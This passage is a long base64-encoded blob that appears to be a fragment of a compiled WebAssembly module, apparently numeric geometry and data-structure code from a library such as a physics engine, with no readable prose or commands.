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NqIAlBQGsQlQIgAUEYaigCACICIA1LDQEgDSACQcDUwAAQowcACyABQRhqKAIAIQ8gBEUEQEL////79///v/8AIRhC////+////79/IRlBfyELQX8hEEF/IQJBfyEOQv////v///+/fyEWQv////v3//+//wAhF0L////7////v38hGkL////79///v/8AIRtC////+////79/IRxC////+/f//7//ACEdIA8MCQsgAygCACILIAVBCGooAgAiDE8NBiALQQR0Ig4gBUEEaigCAGoiAikCCCEcIAIpAgAhHSAJQRhqIgJBADoABCACIA82AgAgAUE8aigCACIMIAtNDQUgCSgCGCEKIAFBOGooAgAgDmoiAiAJLQAcOgAEIAIgCjYCAEL////79///v/8AIRhC////+////79/IRlBfyEOIARBAUYEQEF/IRBBfyECQv////v///+/fyEWQv////v3//+//wAhF0L////7////v38hGkL////79///v/8AIRsMCAsgBUEIaigCACIMIAMoAgQiEE0EQCAQIQsMBwsgBUEEaigCACAQQQR0aiICKQIIIRogAikCACEbIAlBEGoiAkEBOgAEIAIgDzYCACABQTxqKAIAIgwgAygCBCICTQRAIAIhCwwGCyAJKAIQIQogAUE4aigCACACQQR0aiICIAktABQ6AAQgAiAKNgIAIARBAkYEQEF/IQJC////+////79/IRZC////+/f//7//ACEXDAgLIAMoAggiAiAFQQhqKAIAIgxPBEAgAiELDAcLIAVBBGooAgAgAkEEdGoiCikCCCEWIAopAgAhFyAJQQhqIgpBAjoABCAKIA82AgAgAUE8aigCACIMIAMoAggiCk0EQCAKIQsMBgsgCSgCCCEMIAFBOGooAgAgCkEEdGoiCiAJLQAMOgAEIAogDDYCACAEQQNGDQcgBUEIaigCACIMIAMoAgwiDk0EQCAOIQsMBwsgBUEEaigCACAOQQR0aiIEKQIIIRkgBCkCACEYIAlBAzoABCAJIA82AgAgAUE8aigCACIMIAMoAgwiA00EQCADIQsMBgsgCSgCACEEIAFBOGooAgAgA0EEdGoiAyAJLQAEOgAEIAMgBDYCAAwHCyAAQQRqIAFBFGooAgAgDUHgAGxqEK0DIAAgDTYCAAwICyANIAJBkNTAABCjBwALIA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